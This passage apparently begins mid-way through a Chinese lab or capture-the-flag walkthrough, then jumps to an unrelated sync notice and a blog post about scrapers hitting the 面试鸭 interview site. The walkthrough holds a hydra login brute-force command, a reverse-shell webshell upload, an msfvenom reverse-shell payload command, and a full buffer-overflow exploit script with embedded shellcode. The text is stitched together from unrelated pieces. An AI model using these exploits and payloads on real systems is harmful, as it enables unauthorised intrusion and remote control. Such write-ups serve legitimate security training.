"/login.php:username=^USER^&password=^PASS^:F=incorrect" ``` 该命令针对 IP 为 `192.168.1.100` 的主机上的 `login.php` 表单进行破解,使用用户名 `admin` 和指定字典文件。`^USER^` 和 `^PASS^` 是 `hydra` 的占位符,分别代表用户名和密码。`F=incorrect` 表示当页面中出现 `incorrect` 字符串时,认为密码验证失败。 * * * ![](https://pic.code-nav.cn/post_picture/1691989928780603394/jREvK2vlqopGZ2BZ.webp) 根据这个 URL 地址来进行爆破 ```bash hydra 192.168.31.38 http-form-post "/student_attendance/ajax.php?action=login:username=^USER^&password=^PASS^:\r\n\r \n3" -l admin -P /mnt/d/Downlaods_1/MidPwds.txt -vV -f ``` * `**-vV**`:这是两个详细输出选项的组合。`-v` 表示显示详细的破解过程信息,`-V` 表示显示每个尝试的用户名和密码组合,方便用户实时了解破解进度和具体尝试情况。 * `**-f**`:当找到一个有效的用户名和密码组合后,`hydra` 会立即停止破解过程,不再继续尝试其他密码。 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/1A46yW0kG1pfv8hg.webp) 使用密码成功进入后台 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/FHE0H8jkmeaZVcpC.webp) 信息泄露 ==== ![](https://pic.code-nav.cn/post_picture/1691989928780603394/fqPg38QwzVmdkBNd.webp) Ctrl + U 查看源代码发现注释里面有提示一个参数 site_settings,还有一个 uploads 的目录 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/VZ336uPB5Ethsujm.webp" alt="" width="100%" /> 传参后发现一个文件上传的点,尝试上传 Webshell <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/ygenkbYhUJFJDZZy.webp" alt="" width="100%" /> 文件上传 ==== kali 里面自带有 webshell,修改一下里面的 ip 为 kali 本机的 ip ![](https://pic.code-nav.cn/post_picture/1691989928780603394/GC4fevOtLrwi4BIO.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/tj9JIm8Cmw9Ce7W3.webp) 然后成功上传上去了,路径就在刚刚发现的 uploads 路径下 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/zDSOKhzMbO0m7kE2.webp" alt="" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/nCt9fngiG4kC0NVQ.webp" alt="" width="100%" /> 现在 kali 启动监听,然后就点击触发反弹 shell ![](https://pic.code-nav.cn/post_picture/1691989928780603394/TgeXiuf9BmJvEQps.webp) ```bash python -c "import pty;pty.spawn('/bin/bash')" ``` 升级一下 shell 看 fox 账号下发现第一个 flag ![](https://pic.code-nav.cn/post_picture/1691989928780603394/0ikcJvbv98sh7avl.webp) 第二个 flag 还是得提权之后才能看 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/FiMhm7CNypNkOMfT.webp" alt="" width="100%" /> 查看 win 文件发现是一个脚本 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/LVowjmP0fE3XSbU5.png) 用 wine 可以在 Linux 系统上运行 Windows 软件 使用 msf 生成 shellcode ```bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.31.127 LPORT=4444 -b '\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f' -f python ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/vswtdogWQILBhUwJ.webp) 编写 exp ====== 参考:[https://blog.csdn.net/weixin_43784056/article/details/113525412](https://blog.csdn.net/weixin_43784056/article/details/113525412) ```bash #!/usr/bin/python3 import socket buf=b'' target_ip='192.168.31.38' target_port=23 recv_buf=4096 junk = b'a' * 1902 ret_addr=b'\xdd\x12\x50\x62' #nops=b'\x90'*32 可选 buf = b"" buf += b"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e" buf += b"\x81\x76\x0e\xc0\xf1\x7a\xfb\x83\xee\xfc\xe2\xf4" buf += b"\x3c\x19\xf8\xfb\xc0\xf1\x1a\x72\x25\xc0\xba\x9f" buf += b"\x4b\xa1\x4a\x70\x92\xfd\xf1\xa9\xd4\x7a\x08\xd3" buf += b"\xcf\x46\x30\xdd\xf1\x0e\xd6\xc7\xa1\x8d\x78\xd7" buf += b"\xe0\x30\xb5\xf6\xc1\x36\x98\x09\x92\xa6\xf1\xa9" buf += b"\xd0\x7a\x30\xc7\x4b\xbd\x6b\x83\x23\xb9\x7b\x2a" buf += b"\x91\x7a\x23\xdb\xc1\x22\xf1\xb2\xd8\x12\x40\xb2" buf += b"\x4b\xc5\xf1\xfa\x16\xc0\x85\x57\x01\x3e\x77\xfa" buf += b"\x07\xc9\x9a\x8e\x36\xf2\x07\x03\xfb\x8c\x5e\x8e" buf += b"\x24\xa9\xf1\xa3\xe4\xf0\xa9\x9d\x4b\xfd\x31\x70" buf += b"\x98\xed\x7b\x28\x4b\xf5\xf1\xfa\x10\x78\x3e\xdf" buf += b"\xe4\xaa\x21\x9a\x99\xab\x2b\x04\x20\xae\x25\xa1" buf += b"\x4b\xe3\x91\x76\x9d\x99\x49\xc9\xc0\xf1\x12\x8c" buf += b"\xb3\xc3\x25\xaf\xa8\xbd\x0d\xdd\xc7\x0e\xaf\x43" buf += b"\x50\xf0\x7a\xfb\xe9\x35\x2e\xab\xa8\xd8\xfa\x90" buf += b"\xc0\x0e\xaf\xab\x90\xa1\x2a\xbb\x90\xb1\x2a\x93" buf += b"\x2a\xfe\xa5\x1b\x3f\x24\xed\x91\xc5\x99\xba\x53" buf += b"\xdf\x8e\x12\xf9\xc0\xe0\x26\x72\x26\x9b\x6a\xad" buf += b"\x97\x99\xe3\x5e\xb4\x90\x85\x2e\x45\x31\x0e\xf7" buf += b"\x3f\xbf\x72\x8e\x2c\x99\x8a\x4e\x62\xa7\x85\x2e" buf += b"\xa8\x92\x17\x9f\xc0\x78\x99\xac\x97\xa6\x4b\x0d" buf += b"\xaa\xe3\x23\xad\x22\x0c\x1c\x3c\x84\xd5\x46\xfa" buf += b"\xc1\x7c\x3e\xdf\xd0\x37\x7a\xbf\x94\xa1\x2c\xad" buf += b"\x96\xb7\x2c\xb5\x96\xa7\x29\xad\xa8\x88\xb6\xc4" buf += b"\x46\x0e\xaf\x72\x20\xbf\x2c\xbd\x3f\xc1\x12\xf3" buf += b"\x47\xec\x1a\x04\x15\x4a\x8a\x4e\x62\xa7\x12\x5d" buf += b"\x55\x4c\xe7\x04\x15\xcd\x7c\x87\xca\x71\x81\x1b" buf += b"\xb5\xf4\xc1\xbc\xd3\x83\x15\x91\xc0\xa2\x85\x2e" payload = b'' payload += junk payload += ret_addr #payload += nops payload += buf with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock: clientSock.connect((target_ip,target_port)) data_from_srv = clientSock.recv(recv_buf) print(f"Reply --> {data_from_srv}") print(f"Sending --> {payload}") clientSock.sendall(payload) ``` 运行 exp,获得 shell ![](https://pic.code-nav.cn/post_picture/1691989928780603394/l1pMF5pun5v1tLt9.webp) 去到 root 路径获取最后一个 flag ![](https://pic.code-nav.cn/post_picture/1691989928780603394/IxK8TFBsTT1uXyqO.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/P79KTABtrNVZvDbm.webp)

面试🦆题库同步

大概三天可以同步完 <img src="https://pic.code-nav.cn/post_picture/1776543318398857217/enbxCgGnQixgPYLf.webp" alt="IMG_8750.jpeg" width="100%" />

我们的网站被狗爬了!

大家好,我是程序员鱼皮。 世风日下,人心不古。我们的程序员面试刷题网站 [《面试鸭》](https://www.mianshiya.com/) 才刚刚上线了一个多月,就由于过于火爆,被不少同行和小人发起网络攻击。 而且因为我们已经有 4500 多道人工整理的企业高频面试题、100 多个各方向的面试题库、大厂面试官原创的优质题解,所以也招来了不少爬虫。 <img src="https://pic.code-nav.cn/migrate_image/493dfba7dffc1b2021d081ac524c33dc.webp" alt="" width="100%" /> 网站有爬虫是很正常的一件事,说明 “攻击者” 对我们网站内容的认可,而且自己学习用的话偷偷爬一爬咱也能理解。前提是别影响咱系统的正常运行、别被我们的监控系统发现。 <img src="https://pic.code-nav.cn/migrate_image/035074260951a263c354a021a5f0800e.webp" alt="" width="100%" /> 我们确实发现了部分离谱的用户,不到一个小时就把我们几千道题看完了?你特么量子波动速读啊?! <img src="https://pic.code-nav.cn/migrate_image/b1c6b54783d13a78600b32ba1b7b9074.webp" alt="" width="260px" /> 上面这些其实都还好,系统自动就给封号了。但最近我们接到正义的用户反馈,最近有几只程序员博主公开 **直播教别人** 怎么爬我们的面试鸭网站,这属实是有点过分了吧? <img src="https://pic.code-nav.cn/migrate_image/53aa80f131fd6018b0efb61fb8255e3f.webp" alt="" width="100%" /> 有点儿法律常识的程序员应该都知道,爬虫是有法律风险的行为,可能会涉及到侵犯版权、违反网站的使用条款、侵犯隐私。而且如果请求频率过高,对系统造成了压力,还可能涉及到计算机系统破坏、违反计算机滥用法的法律风险! 所以才有了下面这个表情包: <img src="https://pic.code-nav.cn/migrate_image/4dee2e753f1105574ea3f833b3bf3195.webp" alt="" width="208px" /> 在未经原站长授权的情况下,教别人去爬取别人的网站,这性质就更不一样了,而且还是直播去教,生怕别人不知道你是谁么? **可邢,太可邢了!** <img src="https://pic.code-nav.cn/migrate_image/df0b6492644cbffa8087076bbc69ee6c.webp" alt="" width="414px" /> 而且最让我生气的是,有些博主教爬虫都不教明白,教爬虫的第一课必然要先让大家了解 **爬虫的法律合规性和法律风险** 。应该告诉大家相关法律法规、遵守网站的使用协议和版权问题、遵守网站的 robots.txt 文件、确保爬取行为不侵犯他人的知识产权等等,而不是在诱导大家去爬取他人的网站。 这里鱼皮给大家列举下爬虫前的注意事项: 1)遵守网站的使用条款:仔细阅读网站的使用条款和服务协议,确定是否允许抓取和数据使用。有些网站可能明确禁止抓取或设定了抓取的条件,违反这些条款可能会导致法律问题。 2)遵守 robots.txt 文件:这个文件表示了网站对爬虫抓取的规则,某些页面如果明确标注了禁止抓取,建议不要下手。 比如我们面试鸭的 robots.txt 文件,第一行就是先禁用所有的爬虫,然后再给搜索引擎开放一些抓取。 <img src="https://pic.code-nav.cn/migrate_image/c7e516f5cad88eef2abfab5db223b0a8.webp" alt="" width="100%" /> 3)不要抓取付费内容:一般付费内容都是申请了版权 / 著作权的,未经授权的抓取和传播可能涉及侵犯版权、会导致实际的赔偿。而且一般付费内容都是仅付费用户才能查看的,付费用户往往更好追溯到源头,千万别侥幸地以为别人查不到你! 4)控制好爬虫的频率:前面也提到了,如果你的爬虫请求频率过高,影响了网站的正常运行,那么性质就变成 “网络攻击” 了,后果往往更严重。而且一般情况下,网站都有反爬虫的防护措施,请求频率过高要么给你限流、要么直接封 IP、封账号,千万别以为是开玩笑。 --- 总之,技术本身是无罪的,但用不好是真的会进局子的!大家直接在 [面试鸭网站](https://www.mianshiya.com/) 或小程序上就能搜题、看题了,也没必要再专门用爬虫把题目搞下来了~ 当然,如果大家要学爬虫的话,也许之后鱼皮可以出个项目。。。哈哈,有空再搞! ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn) 📃 简历快速制作:[老鱼简历](https://laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://mianshiya.com)

下载 APP